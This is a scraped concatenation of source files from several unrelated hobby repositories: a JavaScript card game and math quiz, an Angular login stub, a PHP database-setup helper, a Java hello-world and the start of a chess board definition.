TweenLite.to(deckDiscard[i].gameObject, timer, {top: (_targetDiscard.position().top - i/2) +"px", left: (_targetDiscard.position().left + i/3) +"px"});
}
}
var draw = function() {
index--;
return deck.pop();
}
var discard = function(card) {
deckDiscard.push(card);
card.show();
_board.append(card.gameObject);
TweenLite.to(card.gameObject, 1, {rotation: Math.random() * 180, top: (_targetDiscard.position().top - deckDiscard.length/2) +"px", left: (_targetDiscard.position().left + deckDiscard.length/3) +"px"});
if(deckDiscard.length > 6)
TweenLite.to(deckDiscard[deckDiscard.length-7].gameObject, 5, { alpha: 0 });
}
var shuffle = function(array, start = 0, length = array.length) {
var temporaryValue, randomIndex, currentIndex = length;
while (0 !== currentIndex) {
randomIndex = start + Math.floor(Math.random() * currentIndex);
currentIndex -= 1;
temporaryValue = array[start + currentIndex];
array[start + currentIndex] = array[randomIndex];
array[randomIndex] = temporaryValue;
}
return array;
}
return {
index: index,
init: init,
prepareDeck: prepareDeck,
draw: draw,
discard: discard,
updateCardsPos: updateCardsPos,
deckIsEmpty: function(){ return deck.length == 0; }
};
})();<file_sep>/examples/assets/game/card/CardType.js
var CardType = {
NEIGHBOR: 1,
LOANSHARK: 2,
NECROMANCER: 3,
FOODTRUCK: 4,
PREACHER: 5,
CHICKEN: 6,
};<file_sep>/examples/assets/game/Game.js
var GameStep = {
SETUP: "setup",
STEP1: "step1",
STEP2: "step2",
STEP3: "step3",
STEP_ACTION: "action",
GAMEOVER: "gameOver"
};
var Game = function(qtd_players, target){
Game.currentStep = "";
board = target.find(".board");
/*
ScreenManager.init({
target: board,
onResize: updateScreen,
updateOnInit: true
});
*/
PlayersManager.init({
target: board
});
CardManager.init({
board: board,
deck: board.find(".deck"),
discard: board.find(".discard")
});
function updateScreen(offset, center, timer = .5){
var obj = $(".deck");
TweenLite.set(obj, {top: (center.y - obj.height()/2) +"px", left: (center.x - obj.width()/2 - 100 * Game.scale) +"px"});
var obj = $(".discard");
TweenLite.set(obj, {top: (center.y - obj.height()/2) +"px", left: (center.x - obj.width()/2 + 100 * Game.scale) +"px"});
CardManager.updateCardsPos(timer);
PlayersManager.allocatePlayers();
}
ScreenManager.onResize(updateScreen);
updateScreen(ScreenManager.offset(), ScreenManager.center(), 0);
function setup(){
Game.currentStep = GameStep.SETUP;
CardManager.prepareDeck(PlayersManager.players.length);
for (var i = 0; i < PlayersManager.players.length; i++)
setTimeout(dealCards, 1200 * i, PlayersManager.players[i]);
PlayersManager.index(Math.trunc(Math.random() * PlayersManager.numPlayers()));
setTimeout(stepOne, 1300 * i);
}
function dealCards(player, callback){
if(player.cards.length < 6){
player.addCard(CardManager.draw());
setTimeout(dealCards, 200, player);
}else
callback && callback();
}
function discardCard(card){
if(card == null){
gameOver();
}else{
CardManager.discard(card);
}
}
function nextTurn(){
PlayersManager.next();
stepOne();
}
function stepOne(){
//console.log("stepOne");
if(Game.currentStep == GameStep.GAMEOVER) return;
Game.currentStep = GameStep.STEP1;
PlayersManager.currentPlayer().doStepOne();
}
function stepTwo(){
//console.log("stepTwo");
if(Game.currentStep == GameStep.GAMEOVER) return;
Game.currentStep = GameStep.STEP2;
var p = PlayersManager.currentPlayer();
if(p.getCardsWithoutChicken().length == 0)
gameOver();
else
p.doStepTwo();
}
function stepThree(){
//console.log("stepThree");
if(Game.currentStep == GameStep.GAMEOVER) return;
Game.currentStep = GameStep.STEP3;
PlayersManager.currentPlayer().doStepThree();
}
function addPlayerEvent(player){
player.addEventListener(PlayerEvent.DISCARD, onDiscardCard);
player.addEventListener(PlayerEvent.PLAY, onPlayCard);
player.addEventListener(PlayerEvent.DRAW, onDrawCard);
player.addEventListener(PlayerEvent.DONE, onDone);
}
var newGame = function(qtd_players = 3){
var playerTypes = [PlayerType.EASY, PlayerType.MEDIUM, PlayerType.HARD];
addPlayerEvent(PlayersManager.addPlayer(PlayerType.PLAYER));
for(var p = 1; p < qtd_players; p++)
addPlayerEvent(PlayersManager.addPlayer(playerTypes[Math.trunc(Math.random() * playerTypes.length)]));
//setup();
return { setup:setup };
}
var gameOver = function(){
console.log("Fim de jogo");
Game.currentStep = GameStep.GAMEOVER;
var finalPlayers = [];
for (var pp = PlayersManager.players, i = 0, j = pp.length, p = pp[i]; i < j; p = pp[++i]){
p.showCards(true);
p.openCards(true);
var cards = p.getCardsOnlyChicken().sort( function(a, b){ return a.value - b.value; });
if(cards.length > 0)
finalPlayers.push({player:p, lowCard:cards[0].value, qtd:cards.length});
}
finalPlayers.sort( function(a, b){ return a.qtd == b.qtd ? (a.lowCard - b.lowCard) : (a.qtd - b.qtd); });
console.log("======", finalPlayers);
/*
container.addChild(new GameOver(finalPlayers[0].player.type == PlayerType.PLAYER));
*/
}
//Players Actions
function onDone(evt) {
if(Game.currentStep == GameStep.STEP1)
stepTwo();
else if(Game.currentStep == GameStep.STEP2)
stepThree();
else if(Game.currentStep == GameStep.STEP_ACTION)
nextTurn();
}
function onPlayCard(evt, c, p){
//console.log("PlayCard", c.type);
Game.currentStep = GameStep.STEP_ACTION;
discardCard(c);
var p = PlayersManager.currentPlayer();
if(p.getCardsWithoutChicken().length == 0)
gameOver();
else
ActionManager.doAction(c.type);
}
function onDiscardCard(evt, card){
discardCard(card);
}
function onDrawCard(evt){
if(CardManager.deckIsEmpty())
return;
var card = CardManager.draw();
var p = evt.data.player;
p.addCard(card);
//Se o deck estiver vazio, encerra o jogo
if(CardManager.deckIsEmpty())
gameOver();
}
return newGame(qtd_players);
}; | ad68e4d09f9bcbd51872d923416fb8352300d3b2 | [
"JavaScript",
"Markdown"
] | 9 | JavaScript | rslmachado/olzc | 0fe2214ac0ddae7a78f68e11db21cdc4fc94a6ab | e74ae1230b7cd0076c0d0752063df16351cac59c |
refs/heads/master | <file_sep>class Launcher
{
constructor()
{
this.mainLayout = new MainLayout();
}
start(){
this.setEventListener();
}
setEventListener(){
this.mainLayout.gameMulipBtn.on('click', () => this.startGameMultip() )
}
startGameMultip(){
var gameGen = new GameGeneratorMulipTable(5);
var newGame = new Game(gameGen);
this.setNewGameToLayout(newGame);
}
setNewGameToLayout(newGame){
this.mainLayout.gameBox.empty();
this.mainLayout.gameBox.append(newGame.getLayout());
newGame.setSelectorEventListeners();
newGame.onFinish = ( () => this.makeSummary(newGame) );
newGame.start();
}
makeSummary(game)
{
this.mainLayout.gameBox.empty();
var sum = new Summary(game);
this.mainLayout.gameBox.append(sum.getLayout());
}
}
/* call launcher by anonymous inline function */
(
function(){
$(document).ready(function ()
{ launcher = new Launcher().start(); });
}
)();
<file_sep>import { Component, OnInit } from '@angular/core';
import { RbacService } from '../services/rbac.service';
@Component({
selector: 'app-rbaclogin',
templateUrl: './rbaclogin.component.html',
styleUrls: ['./rbaclogin.component.css']
})
export class RbacloginComponent implements OnInit {
rbacService: RbacService;
slogan: string;
userName: string;
password: string;
constructor(rbacService: RbacService) {
this.rbacService = rbacService;
this.slogan = "here we create a rbac login form";
}
// ngOnInit correlates to onEnter in vaadin
ngOnInit() {
// lets initialize credencials always new on enter
this.userName = "?";
this.password = "?";
}
login(){
this.rbacService.login(
this.userName, this.password,
(rsp: any) => this.doOnLoginResponse(rsp)
);
}
doOnLoginResponse(rsp: any){
console.log("rbac service did for me:: "+rsp);
}
}
<file_sep>class KeyboardSuper
{
constructor(){
this.layout = null;
this.onClickNumberKeyFunc = null;
this.init();
}
init(){
this.layout = $('<diy id="keyboard" class="keyboard"></div>');
this.extendLayout();
this.setEventListeners();
}
extendLayout(){};
getLayout(){ return this.layout; }
setEventListeners(){
}
setSelectorEventListeners(){
$('.keyboard_key').on('click', (e) => {
this.doOnNumberKeyClick( $(e.currentTarget).html() );
} );
}
doOnNumberKeyClick(elemValue){
if(this.onClickNumberKeyFunc == null)throw 'call [onClickNumberKey] was not set';
this.onClickNumberKeyFunc(elemValue);
}
}<file_sep>import { Component, OnInit } from '@angular/core';
import { RbacService } from '../services/rbac.service';
@Component({
selector: 'app-rbaclogin',
templateUrl: './rbaclogin.component.html',
styleUrls: ['./rbaclogin.component.css']
})
export class RbacloginComponent implements OnInit {
rbacService: RbacService;
slogan: string;
constructor(rbacService: RbacService) {
this.rbacService = rbacService;
this.slogan = "here we create a rbac login form";
}
ngOnInit() {
this.rbacService.login("kuehnemann_wmedia", "kuehnemann_wmedia");
}
}
<file_sep>import { Component } from '@angular/core';
import { NavItem } from './app.navitem';
import { RbacService } from './services/rbac.service';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
rbacService: RbacService;
navList: NavItem[];
constructor(rbacService: RbacService) {
this.rbacService = rbacService;
this.createNavList();
}
createNavList(){
this.navList = new Array();
this.navList.push(new NavItem("Home", "welcome"));
this.navList.push(new NavItem("Rbac", "rbaclogin"));
}
}
<file_sep>import { Injectable } from '@angular/core';
@Injectable()
export class RbacService {
constructor() { }
login(username: string, pass: string, cb: (result: any) => any)
{
// console.log("user: "+username+" - pass: "+pass);
cb("logged in for -> user: "+username+" - pass: "+pass);
}
}
<file_sep>class Summary
{
constructor(game)
{
this.gameGenerator = game.gameGenerator;
this.layout = null;
this.init();
}
init(){
this.layout = $('<div id="summary" class="summary"></div>');
this.setLayout();
console.log(this.gameGenerator);
}
setLayout(){
this.layout.html('here will be showen the summary');
}
getLayout(){ return this.layout; }
}<file_sep>class MainLayout
{
constructor(){
this.rootFrame = null;
this.mainFrame = null;
this.mainNavBox = null;
this.infoBox = null;
this.gameBox = null;
this.gameAddTo20Btn = null;
this.gameAddTo100Btn = null;
this.gameDiffTo20Btn = null;
this.gameDiffTo100Btn = null;
this.gameMulipBtn = null;
this.gameDivideBtn = null;
this.gameSquarBtn = null;
this.init();
}
init(){
this.rootFrame = $('<div id="rootframe" class="rootframe">');
this.mainFrame = $('<div id="mainframe" class="mainframe">');
this.mainNavBox = $('<div id="main_nav_box" class="main_nav_box"></div>');
this.infoBox = $('<div id="info_box" class="info_box"></div>');
this.gameBox = $('<div id="game_box" class="game_box"></div>');
this.gameAddTo20Btn = $('<div id="game_add_to_20_btn" class="game_start_btn">+ 20</div>');
this.gameAddTo100Btn = $('<div id="game_add_to_100_btn" class="game_start_btn">+ 100</div>');
this.gameDiffTo20Btn = $('<div id="game_diff_to_20_btn" class="game_start_btn">- 20</div>');
this.gameDiffTo100Btn = $('<div id="game_diff_to_100_btn" class="game_start_btn">- 100</div>');
this.gameMulipBtn = $('<div id="game_multip_btn" class="game_start_btn">1 x 1</div>');
this.gameDivideBtn = $('<div id="game_divide_btn" class="game_start_btn">1 / 1</div>');
this.gameSquarBtn = $('<div id="game_squar_btn" class="game_start_btn">Quadrat</div>');
this.setLayout();
}
setLayout(){
this.rootFrame.append(this.mainFrame);
this.mainFrame.append(this.mainNavBox);
this.mainFrame.append(this.infoBox);
this.mainFrame.append(this.gameBox);
this.mainNavBox.append(this.gameAddTo20Btn);
this.mainNavBox.append(this.gameAddTo100Btn);
this.mainNavBox.append(this.gameDiffTo20Btn);
this.mainNavBox.append(this.gameDiffTo100Btn);
this.mainNavBox.append(this.gameMulipBtn);
this.mainNavBox.append(this.gameDivideBtn);
this.mainNavBox.append(this.gameSquarBtn);
$('body').append(this.rootFrame);
}
}<file_sep>import { Injectable } from '@angular/core';
@Injectable({
providedIn: 'root'
})
export class RbacService {
constructor() { }
login(username: string, pass: string)
{
console.log("user: "+username+" - pass: "+pass);
}
}
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { WelcomeviewComponent } from './welcomeview/welcomeview.component';
import { RbacloginComponent } from './rbaclogin/rbaclogin.component';
import { ErrorComponent } from './error/error.component';
const routes: Routes = [
{path: '', redirectTo: 'welcome', pathMatch: 'full'},
{path: 'welcome', component: WelcomeviewComponent},
{path: 'rbaclogin', component: RbacloginComponent},
/* samplecode for sub routing */
// {
// path: 'topcomp',
// component: TopcompComponent,
// children: [
// {path: '', redirectTo: 'subcomp1', pathMatch: 'full'},
// {path: 'subcomp1', component: Subcomp1Component},
// {path: 'subcomp2', component: Subcomp2Component},
// {path: '**', component: Subcomp1Component},
// ]
// },
{path: '**', component: ErrorComponent},
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>class GameGeneratorMulipTable extends GameGeneratorSuper
{
constructor(exerciseNumb = 1){
super(exerciseNumb);
}
generate(){
for(var i = 0; i < this.exerciseNumb; i++){
var a = Math.floor(Math.random() * Math.floor(10));
var b = Math.floor(Math.random() * Math.floor(10));
this.addExercise(new Exercise(a+" * "+b, (a*b) ))
}
}
}<file_sep>class Game
{
constructor(gameGenerator)
{
this.gameGenerator = gameGenerator;
this.currExercise = null;
this.layout = null;
this.exerciseOut = null;
this.answerTxt = null;
this.answerBtb = null;
this.answerDelBtm = null;
this.keyboard = null;
this.onFinish = null;
this.init();
}
init()
{
this.keyboard = new KeyboardSimple();
this.layout = $('<div id="game_layout" class="game_layout"></div>');
this.exerciseOut = $('<div id="exercise_out" class="exercise_out"></div>');
this.answerTxt = $('<input id="answer_txt" class="answer_txt"></div>');
this.answerBtb = $('<input type="button" id="answer_btn" class="answer_btn" value="check in"></div>');
this.answerDelBtm = $('<input type="button" id="answer_del_btn" class="answer_del_btn" value="x"></div>');
this.setLayout();
this.setEventListeners();
}
setLayout(){
this.layout.append(this.exerciseOut);
this.layout.append(this.answerTxt);
this.layout.append(this.answerDelBtm);
this.layout.append(this.keyboard.getLayout());
this.layout.append(this.answerBtb);
}
getLayout(){ return this.layout; }
setEventListeners(){
this.keyboard.onClickNumberKeyFunc = (
(value) => this.handleNumberKeyClick(value)
);
this.answerDelBtm.on('click', () => this.answerTxt.val('') );
this.answerBtb.on('click', () => this.handleAnswer() );
}
setSelectorEventListeners(){
this.keyboard.setSelectorEventListeners();
}
handleNumberKeyClick(keyValue){
var newVal = this.answerTxt.val()+keyValue;
this.answerTxt.val(newVal);
}
handleAnswer()
{
var answ = this.answerTxt.val();
this.currExercise.answer = answ;
this.setNextExercise();
}
setNextExercise(){
this.currExercise = this.gameGenerator.getNext();
if(this.currExercise === false){
this.end();
return;
}
this.exerciseOut.html(this.currExercise.presentationString);
this.answerTxt.val('');
}
start(){
this.gameGenerator.resetPointer();
this.setNextExercise();
}
end(){
this.answerBtb.remove();
if(this.onFinish == null)throw 'no stepout method defined for game.[onFinished]';
this.onFinish();
}
}
<file_sep>class Exercise
{
constructor(presentationString = "", result = null){
this.presentationString = presentationString;
this.result = result;
this.answer = null;
this.startTime = 0;
this.answerTime = 0;
this.duration = 0;
}
start(){
this.startTime = new Date().getTime();
}
setAnswer(answer){
this.answerTime = new Date().getTime();
this.answer = answer;
}
}<file_sep>/**
*
* GameGenerator class to extend
* to a concrete GameGenerator sub class
*
*/
class GameGeneratorSuper
{
/**
* defines the amount of exercises to generate
*
* @param {number} exerciseNumb
*/
constructor(exerciseNumb = 1)
{
this.exerciseNumb = exerciseNumb;
if(this.exerciseNumb < 1)this.exerciseNumb = 1;
this.exerciseList = Array();
this.listPointer = 0;
this.generate();
}
generate(){}
getNext()
{
if(this.listPointer >= this.exerciseList.length )return false;
var ex = this.exerciseList[this.listPointer];
this.listPointer++;
return ex;
}
resetPointer()
{
this.listPointer = 0;
}
addExercise(exercise)
{
if(exercise == null)throw "parameter [exercise] is null";
if( !exercise instanceof Exercise)throw "parameter [exercise] is not instance of [Exercise]";
this.exerciseList.push(exercise);
}
} | f27f9504b501e3e7c362a5b38508a444d1fd21a9 | [
"JavaScript",
"TypeScript"
] | 14 | JavaScript | reneongithub/sandbox | 36bd0c7c81779c5d598b2d94d5f210d77ff3155a | efdd7f8bb511de729be092004ab049633808fdcd |
refs/heads/master | <file_sep>package firstgradleproject;
public class TestMain {
public static void main(String[] args) {
System.out.println(getWelcomeMsg());
}
public static String getWelcomeMsg() {
return "first gradle project";
}
}
| 73ea4d3d589d524e135423474f326ef5581fd518 | [
"Java"
] | 1 | Java | vivekbdvt/firstGradleProject | 4ef5bc403f7d369fefc91e6dcbf4437849032c89 | 995a326d94c030c0a0ea0cd618811e44985dd461 |
refs/heads/master | <file_sep># instalacao-de-banco-com-tabelas-de-arquivo-sql
Instalação de banco com tabelas de arquivos sql
<file_sep><?php
class conexao{
public $ip='localhost';
public $banco='seu_banco';
public $usuario='root';
public $senha='';
//--------------------------------------------------
public function sql_con_query($sql=NULL,$con_verif=NULL){
$banco=$this->banco;
if($con_verif==true){
$banco='';
}//if
try{
@$con = new PDO('mysql:host='.$this->ip.';dbname='.$banco, $this->usuario, $this->senha);
@$con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if($sql!=NULL){
$con=$con->query($sql);
if($banco!=''){
$re = $con->fetchAll();
}else{
$re=$con;
}//else
}else{
$re=$con;
}//else
}catch (PDOException $re) {
$re=false;
}//catch
return $re;
}//metodo
//---------------------------------------------------------
public function create_database(){
if( $this->sql_con_query(NULL,true)==true && $this->sql_con_query()==false ){
$re=$this->sql_con_query('create database '.$this->banco.' CHARACTER SET utf8 COLLATE utf8_bin',true);
}else{
$re=false;
}//else
return $re;
}//metodo
//------------------------------------------------------------
public function importa_tabelas($diretorio){
$arquivo = fopen ($diretorio, 'r');
$sql=feof($arquivo);
while(!feof($arquivo)){
$linha = fgets($arquivo, 1024);
@$sql=$sql.$linha.' ';
}//while
fclose($arquivo);
return $this->sql_con_query($sql);
}//metodo
//------------------------------------------------------------
}//class
/////////////////////////////////////////////////////////////////////////////////
//aplicando cod
//------------------------------------------------------------
$con= new conexao();
//vc pode modificar sua conexao
$con->ip='localhost';
$con->banco='seu_banco';
$con->usuario='root';
$con->senha='';
//cria uma conexao
if($con->create_database()!=false){
$con->importa_tabelas("diretorio/nome_arquivo_sql.sql");
echo 'foi criado um banco de dados chamado ('.$con->banco.') para estabelecer a sua conexao';
}//if
//vc pode iniciar uma consulta com
$dao= $con->sql_con_query('select * from sua_tabela');
//isso ira retornar em uma array
print_r($dao);
/*exemplo:
0=>
['nome_coluna_1']=>'valor coluna 1 linha 1',
[0]=>'valor coluna 1 linha 1',
[nome_coluna_2]=>'valor coluna 2 linha 1',
[1]=>'valor coluna 2 linha 1'
1=>
['nome_coluna_1']=>'valor coluna 1 linha 2',
[0]=>'valor coluna 1 linha 2',
[nome_coluna_2]=>'valor coluna 2 linha 2',
[1]=>'valor coluna 2 linha 2'
*/
?>
| 0dfcb9b1dfcab10a48e0abc3db9ab971352d1a69 | [
"Markdown",
"PHP"
] | 2 | Markdown | meumundophp/instalacao-de-banco-com-tabelas-de-arquivo-sql | 069b700414e386bae556c84e9b903988afdf0c07 | 6c432290e64f8736847122f698481936ea15f358 |
refs/heads/master | <repo_name>monfrik/sliderPlugin<file_sep>/js/sliderPlugin.js
(function( $ ) {
jQuery.fn.slider = function(options) {
/*берём нужные параметры из введённых пользователем и записываем их в settings, иначе записываются дефолтные*/
let settings = $.extend({
controls: true,
color: "#c78030",
size: "contain",
autoSwap: false,
autoSwapTime: 4000,
autoSwapOnMouserover: false,
}, options);
let slideIndex = 0; // первоначальный номер слайда
let interval;
/*Добавляем стили ввёденный пользователем или дефолтные*/
settingParameters(settings['color'], settings['size'], settings['controls']);
/*открытие слайда*/
showSlide(slideIndex);
function showSlide(index) {
/*обнуление стилей для слайдов и индетификаторов*/
resetStyles();
if (settings['autoSwap']) {
autoSwaping();
if (!settings['autoSwapOnMouserover']) {
$('.slider').on('mouseover', function(){
clearTimeout(interval);
});
$('.slider').on('mouseleave', function(){
autoSwaping()
});
}
}
if(index > $('.slider-item').length -1){
slideIndex = 0; //Если мы переключили последний слайд на следующий, открывается первый
};
if (index < 0){
slideIndex = $('.slider-item').length -1; //Если мы переключили первый слайд на предыдущий, открывается последний
};
/*Появление анимации*/
slideAnimate($(`.slider-item:eq(${slideIndex})`));
/*добавление стилей текущему слайду*/
currentSlide(slideIndex);
}
/*Смена слайда при свайпе*/
if (settings['controls']) {
$(".slider-item").swipe({
swipeLeft: leftSwipe,
swipeRight: rightSwipe,
threshold:0
});
}
/*при переключении слайдера назад открываем предыдущий слайд*/
$('.slider-prev').click(function(){
plusSlide(-1);
});
/*при переключении слайдера вперёд открываем следующий слайд*/
$('.slider-next').click(function(){
plusSlide(1);
});
/*открытие нужного слайда при нажатии на идентификатор*/
$('.slider-indicators').on('click', '.slider-indicator', function(){
slideIndex=$('.slider-indicators .slider-indicator').index(this);
showSlide(slideIndex);
});
/*открытие нужного слайда при нажатии на стрелки на клавиатуре или кнопки от 1 до 9*/
if (settings['controls']) {
$("body").keydown(function(event) {
if ((event.which-49) > -1 && (event.which-49) < $('.slider-item').length + 1 && $('.slider-item').length < 10) {
showSlide(slideIndex = event.which - 49);
}
if (event.which == 39){
plusSlide(1);
} else if (event.which == 37){
plusSlide(-1);
}
});
}
function leftSwipe() {
plusSlide(1);
}
function rightSwipe() {
plusSlide(-1);
}
/*открывает следующий/предыдущий слайд*/
function plusSlide(n){
showSlide(slideIndex += n);
}
function autoSwaping() {
clearTimeout(interval);
interval = setTimeout(function(){
plusSlide(1);
}, settings['autoSwapTime']);
}
function settingParameters(color, size, controls){
$('.slider-arrow').css('borderColor', color);
$('.slider-indicator').css('borderColor', color);
$('.slider-img').each(function(){
/*если ползователь выбрал свойство size равное stretching (растягивание), то картинка растягивается по размеру слайдера*/
if (size == 'stretching') {
$(this).css('height', '100%');
$(this).css('width', '100%');
}
/*если ползователь выбрал свойство size равное cover(покрытие), то картинка покрывает весь слайдер и обрезаются вылезающие части*/
else if(size == 'cover') {
if (parseInt($(this).css('width'))/parseInt($(this).css('height')) > parseInt($('.slider').css('width'))/parseInt($('.slider').css('height'))){
$(this).css('height', '100%');
$(this).css('width', 'auto');
} else {
$(this).css('height', 'auto');
$(this).css('width', '100%');
}
}
/*если ползователь выбрал свойство size равное contain(вмещать) или неизвестное значение, то картинка полностью вмещается в слайдер*/
else {
$(this).css('max-height', '100%');
$(this).css('max-width', '100%');
}
});
if(!controls){
$('.slider-indicators').remove();
$('.slider-swap').remove();
}
}
function resetStyles(){
$('.slider-indicator').css('backgroundColor', 'transparent');
$('.slider-indicator').css('transform', 'scale(1)');
$(`.slider-item`).each(function(){
$(this).removeClass('show');
});
}
function slideAnimate(element){
switch (Math.floor(Math.random() * 10)) {
/*Вылет справа*/
case 1: {
$(element).css('left', '100%');
setTimeout(function(){
$(element).css('left', '0%');
},100);
break;
}
/*Вылет сверху*/
case 2: {
$(element).css('bottom', '100%');
setTimeout(function(){
$(element).css('bottom', '0%');
},100);
break;
}
/*Увеличение*/
case 3: {
$(element).css('transform', 'scale(0)');
setTimeout(function(){
$(element).css('transform', 'scale(1)');
},100);
break;
}
/*Вылет из левого-нижнего угла*/
case 4: {
$(element).css('top', '100%');
$(element).css('right', '100%');
setTimeout(function(){
$(element).css('top', '0%');
$(element).css('right', '0%');
},100);
break;
}
/*Увеличение с вращением по оси Z*/
case 5: {
$(element).css('transform', 'scale(0) rotateZ(180deg)');
setTimeout(function(){
$(element).css('transform', 'scale(1) rotateZ(0deg)');
},100);
break;
}
/*Увеличение с вращением по оси X*/
case 6: {
$(element).css('transform', 'scale(0) rotateX(360deg)');
setTimeout(function(){
$(element).css('transform', 'scale(1) rotateX(0deg)');
},100);
break;
}
/*Увеличение с наклоном*/
case 7: {
$(element).css('transform', 'scale(0) skew(90deg)');
setTimeout(function(){
$(element).css('transform', 'scale(1) skew(0deg)');
},100);
break;
}
/*Уменьшение*/
case 8: {
$(element).css('transform', 'scale(15)');
setTimeout(function(){
$(element).css('transform', 'scale(1)');
},100);
break;
}
/*Вылет слева*/
case 9: {
$(element).css('right', '100%');
setTimeout(function(){
$(element).css('right', '0%');
},100);
break;
}
}
}
function currentSlide(index){
setTimeout(function(){
$(`.slider-item:eq(${index})`).addClass('show'); // текущему слайду добавляется класс show
},100);
$(`.slider-indicator:eq(${index})`).css('background-color', settings['color']);
$(`.slider-indicator:eq(${index})`).css('transform', 'scale(1.2)');
}
}
}( jQuery )); | afc94854674e0d373a6a962542baa213462a489b | [
"JavaScript"
] | 1 | JavaScript | monfrik/sliderPlugin | 33e39000d09d1a5c36c5a688487fbf8da44d11be | 7ee8ad3d6749f73dea29d3d3bc6c5e7a19536929 |
refs/heads/master | <file_sep>'use strict';
function fibonacci_series(n) {
var fibonacciArray = [0];
for (var i = 0; i <= n; i++) {
if (i === 1) {
fibonacciArray.push(1);
}
if (i > 1) {
fibonacciArray.push(fibonacciArray[i - 1] + fibonacciArray[i - 2]);
}
}
return fibonacciArray;
}
module.exports = fibonacci_series;
| 6460163991483d17f4d6d18a17230607dcf52326 | [
"JavaScript"
] | 1 | JavaScript | MHwishes/fibonacci_series | 4b199e4cb85ac9514d390611fe2352cda279097a | 202c1d484435cb54cf717b6fc9494bc9c8edd18b |
refs/heads/master | <repo_name>openstack/deb-python-pysaml2<file_sep>/setup.py
#!/usr/bin/env python
import re
import sys
from setuptools import setup
from setuptools.command.test import test as TestCommand
install_requires = [
# core dependencies
'decorator',
'requests >= 1.0.0',
'future',
'paste',
'zope.interface',
'repoze.who',
'cryptography',
'pytz',
'pyOpenSSL',
'python-dateutil',
'defusedxml',
'six'
]
version = ''
with open('src/saml2/__init__.py', 'r') as fd:
version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]',
fd.read(), re.MULTILINE).group(1)
setup(
name='pysaml2',
version=version,
description='Python implementation of SAML Version 2',
# long_description = read("README"),
author='<NAME>',
author_email='<EMAIL>',
license='Apache 2.0',
url='https://github.com/rohe/pysaml2',
packages=['saml2', 'saml2/xmldsig', 'saml2/xmlenc', 'saml2/s2repoze',
'saml2/s2repoze.plugins', "saml2/profile", "saml2/schema",
"saml2/extension", "saml2/attributemaps", "saml2/authn_context",
"saml2/entity_category", "saml2/userinfo", "saml2/ws"],
package_dir={'': 'src'},
package_data={'': ['xml/*.xml']},
classifiers=[
"Development Status :: 4 - Beta",
"License :: OSI Approved :: Apache Software License",
"Topic :: Software Development :: Libraries :: Python Modules",
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3.4",
"Programming Language :: Python :: 3.5"
],
scripts=["tools/parse_xsd2.py", "tools/make_metadata.py",
"tools/mdexport.py", "tools/merge_metadata.py"],
install_requires=install_requires,
zip_safe=False,
)
<file_sep>/tests/test_83_md_extensions.py
from saml2.config import Config
from saml2.metadata import entity_descriptor
__author__ = 'roland'
fil = "sp_mdext_conf.py"
cnf = Config().load_file(fil, metadata_construction=True)
ed = entity_descriptor(cnf)
print(ed)
assert ed.spsso_descriptor.extensions
assert len(ed.spsso_descriptor.extensions.extension_elements) == 3
assert ed.extensions
assert len(ed.extensions.extension_elements) > 1<file_sep>/tests/test_requirements.txt
mock==2.0.0
pymongo==3.0.1
pytest==3.0.3
responses==0.5.0
pyasn1==0.2.3
<file_sep>/README.rst
*************************
PySAML2 - SAML2 in Python
*************************
:Author: <NAME>
:Version: 4.4.0
.. image:: https://api.travis-ci.org/rohe/pysaml2.png?branch=master
:target: https://travis-ci.org/rohe/pysaml2
.. image:: https://img.shields.io/pypi/pyversions/pysaml2.svg
:target: https://pypi.python.org/pypi/pysaml2
.. image:: https://img.shields.io/pypi/v/pysaml2.svg
:target: https://pypi.python.org/pypi/pysaml2
.. image:: https://img.shields.io/pypi/dm/pysaml2.svg
:target: https://pypi.python.org/pypi/pysaml2
.. image:: https://landscape.io/github/rohe/pysaml2/master/landscape.svg?style=flat
:target: https://landscape.io/github/rohe/pysaml2/master
PySAML2 is a pure python implementation of SAML2. It contains all
necessary pieces for building a SAML2 service provider or an identity provider.
The distribution contains examples of both.
Originally written to work in a WSGI environment there are extensions that
allow you to use it with other frameworks.
Testing
=======
PySAML2 uses the `pytest <http://doc.pytest.org/en/latest/>`_ framework for
testing. To run the tests on your system's version of python
1. Create and activate a `virtualenv <https://virtualenv.pypa.io/en/stable/>`_.
2. Inside the virtualenv, install the dependencies needed for testing :code:`pip install -r tests/test_requirements.txt`
3. Run the tests :code:`py.test tests`
To run tests in multiple python environments, you can use
`pyenv <https://github.com/yyuu/pyenv>`_ with `tox <https://tox.readthedocs.io/en/latest/>`_.
Please contribute!
==================
To help out, you could:
1. Test and report any bugs or other difficulties.
2. Implement missing features.
3. Write more unit tests.
**If you have the time and inclination I'm looking for Collaborators**
| 47c221959939aaa6bbffca155cc0963b7b714a09 | [
"Python",
"Text",
"reStructuredText"
] | 4 | Python | openstack/deb-python-pysaml2 | c54db131dd2c54b18bdc300ba7fdf3b08e68f07c | 1e24d1d7d5dfd75de74fb557e02e5c2df3a07428 |
refs/heads/master | <repo_name>Ozatm/Chess<file_sep>/chess.js
/** To-Do
Comment
**/
var ROW = 0;
var COLOR = 0;
var COLUMN= 1;
var PIECE = 1;
var KINGMOVES = [[1,-1], [1,0], [1,1], [0,1], [-1,1], [-1,0], [-1,-1], [0,-1], [0,-2], [0,2]];
var KNIGHTMOVES = [[1,2], [2,1], [2,-1], [1,-2], [-1,-2], [-2,1], [-2,-1], [-1,2]];
var BISHOPMOVES = [[1,1], [1,-1], [-1,1], [-1,-1]];
var PAWNMOVES = [[1,0], [2,0], [-1,0], [-2,0], [1,1], [-1,1], [1,-1], [-1,-1]];
var ROOKMOVES = [[1,0], [0,1], [-1,0], [0,-1]];
var STARTINGBOARD = [
/**Row 1**/ [["black", "rook"], ["black", "knight"], ["black", "bishop"], ["black", "queen"], ["black", "king"], ["black", "bishop"], ["black", "knight"], ["black", "rook"]],
/**Row 2**/ [["black", "pawn"], ["black", "pawn"], ["black", "pawn"], ["black", "pawn"], ["black", "pawn"], ["black", "pawn"], ["black", "pawn"], ["black", "pawn"]],
/**Row 3**/ [[null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null]],
